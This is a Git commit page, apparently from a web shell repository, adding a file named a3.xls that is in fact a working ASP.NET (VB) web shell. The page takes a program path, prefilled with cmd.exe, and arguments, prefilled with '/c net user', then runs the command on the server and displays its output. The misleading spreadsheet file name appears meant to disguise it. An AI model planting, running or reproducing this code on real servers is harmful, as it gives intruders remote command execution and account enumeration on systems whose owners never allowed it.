Create a3.xls

1001101100 · Feb 17, 2020 · 4b7f649 · 4b7f649
1 parent 186ffc7
commit 4b7f649
Showing 1 changed file with 63 additions and 0 deletions.
diff --git a/aspx/a3.xls b/aspx/a3.xls
@@ -0,0 +1,63 @@
+<%@ Page Language="VB" Debug="true" %>
+
+<%@ import Namespace="system.IO" %>
+
+<%@ import Namespace="System.Diagnostics" %>
+
+<script runat="server">      
+
+Sub RunCmd(Src As Object, E As EventArgs)            
+
+  Dim myProcess As New Process()            
+
+  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
+
+  myProcessStartInfo.UseShellExecute = false            
+
+  myProcessStartInfo.RedirectStandardOutput = true            
+
+  myProcess.StartInfo = myProcessStartInfo            
+
+  myProcessStartInfo.Arguments=xcmd.text            
+
+  myProcess.Start()            
+
+  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
+
+  Dim myString As String = myStreamReader.Readtoend()            
+
+  myProcess.Close()            
+
+  mystring=replace(mystring,"<","&lt;")            
+
+  mystring=replace(mystring,">","&gt;")            
+
+  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
+
+End Sub
+
+</script>
+
+<html>
+
+<body>    
+
+<form runat="server">        
+
+<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
+
+<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
+
+<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
+
+<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
+
+<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
+
+<p><asp:Label id="result" runat="server"></asp:Label>       
+
+</form>
+
+</body>
+
+</html>